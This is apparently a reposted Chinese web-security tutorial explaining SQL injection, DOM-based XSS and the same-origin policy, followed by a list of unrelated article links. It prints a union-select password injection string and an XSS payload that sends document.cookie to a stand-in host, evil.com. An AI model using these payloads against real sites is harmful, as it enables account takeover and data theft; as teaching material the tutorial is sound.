web安全的关键点
来源:互联网 发布:古生物学与地层学知乎 编辑:程序博客网 时间:2024/06/05 12:43
数据和指令混杂在一个页面是导致WEB不安全等重要因素,数据会被指令污染。
1 Sql 注入的例子:
用户通过访问连接http://www.foo.com/user.php?id=1 来获取自身账户的信息,后台可能会执行select username , email , desc from users where id=1; 然后把返回的结果通过HTTP返回给客户端。
其中id的值来自用户等提交,如果攻击者把1 替换为 “1 union select password, 1 , 1 frorn users ”则整个语句在后台的查询语句就变成了
select usernarne, ernail , desc frorn users where id=l union select password, 1 , 1 from users 这是一个合法union SQL语句. 这就导致用户信息等泄露。攻击者可以随便制定id的值。
2 XSS跨站攻击的发生
<script>
eval(location.hash.substr(1));
</script>
将这段代码保存到http://www.foo.com/info.html中(需要自己搭建http服务器)
eval是JS的内置函数,可以动态的执行JS语句,location.hash获得是链接http://www.foo.com/info.html#callback 中的#符号及其后面的内容。substr是字符串截取函数。
eval(location.hash.substr(1));表示截图#符号之后的内容,随后给eval函数进行动态执行。
可想如果攻击者构造出如下链接:
http:// www .foo.com/info.html#new%20Image().src =”http://www.evil.com/steal.php?c=" +escape(document .cookie ),浏览器执行后会变为
eval('new%20Image().src =”http://www.evil.com/steal.php?c=" +escape(document .cookie)')
当小白点击了上面链接之后,cookies会话信息就会被盗取到黑客到网站上。一般情况下该cookies可以登录被攻击者的账号,并进行越权操作。
同源策略规定:不同域的客户端脚本在没明确授权的情况下,不能读写对方的资源。
1 不同域或者同域
站 点 是否同域原因
https://www.foo.com 不同域协议不同,https与http是不同的协议
http://xeyeteam.foo.com 不同域域名不同,xeyeteam子域与www子域不同
http://foo.com 不同域域名不同,顶级域与www子域不是一个概念
http://www.foo.com:8080 不同域端口不同,8080与默认的80端口不同
http://www.foo.com/a/ 同域满足同协议、同域名、同端口,只是这里多了一个目录而已
从上面看出我们通常所说的两个站点同域就是指它们同源。
2 客户端脚本
客户端脚本主要指JavaScript(各个浏览器原生态支持的脚本语言)、ActionScript(Flash的脚本语言),以及JavaScript与ActionScript都遵循的ECMAScript脚本标准。Flash提供通信接口,使得这两个脚本语言可以很方便地互相通信。客户端的攻击几乎都是基于这两个脚本语言进行的,当然JavaScript是最广泛的。
3.授权
一般情况下,看到这个词,我们往往会想到服务端对客户端访问的授权。客户端也存在授权现象,比如:HTML5新标准中提到关于AJAX跨域访问的情况,默认情况下是不允许跨域访问的,只有目标站点(假如是http://www.foo.com)明确返回HTTP响应头:
Access-Control-Allow-Origin: http://www.evil.com
那么www.evil.com站点上的客户端脚本就有权通过AJAX技术对www.foo.com上的数据进行读写操作。这方面的攻防细节很有趣,相关内容在后面会详细介绍。
注: AJAX是Asynchronous JavaScript And XML的缩写,让数据在后台进行异步传输,常见的使用场景有:对网页的局部数据进行更新时,不需要刷新整个网页,以节省带宽资源。AJAX也是黑客进行Web客户端攻击常用的技术,因为这样攻击就可以悄无声息地在浏览器后台进行,做到“杀人无形”。
4.读写权限
Web上的资源有很多,有的只有读权限,有的同时拥有读和写的权限。比如:HTTP请求头里的Referer(表示请求来源)只可读,而document.cookie则具备读写权限。这样的区分也是为了安全上的考虑。
5.资源
资源是一个很广泛的概念,只要是数据,都可以认为是资源。同源策略里的资源是指Web客户端的资源。一般来说,资源包括:HTTP消息头、整个DOM树、浏览器存储(如:Cookies、Flash Cookies、localStorage等)。客户端安全威胁都是围绕这些资源进行的。
- web安全的关键点
- Web安全的关键点
- web安全的关键点
- 一.web安全的关键点
- web压力测试的几个关键点
- web压力测试的几个关键点
- spring security 下web应用安全的关键Filter:FilterSecurityInterceptor
- 找到关键点web,js
- web安全的那点事儿
- 关于Web安全的那点知识
- 尾矿库安全监测关键点
- Hibernate的关键点
- JDBC 的关键点!
- Location的关键点
- 计划的关键点
- WEB安全测试通常要考虑的测试点
- WEB安全测试通常要考虑的测试点
- WEB安全测试通常要考虑的测试点
- 19:简单计算器
- mysql客户端操作需要显示或输入中文时出现乱码——解决办法
- 模拟退火算法(c++实现)
- 1096: 约瑟夫问题
- 使用原生js写一个日期的倒计时
- web安全的关键点
- 文章标题
- 20:求一元二次方程的根
- ASP .NET MVC过滤器
- github开通,史上最全demo集合,各种demo持续更新中
- python随机补边缘border
- 用OpenGL来学习计算机图形学
- Windows中rabbitmq的可视化界面,其实很简单!
- Libvirt之vfio pci的passthrough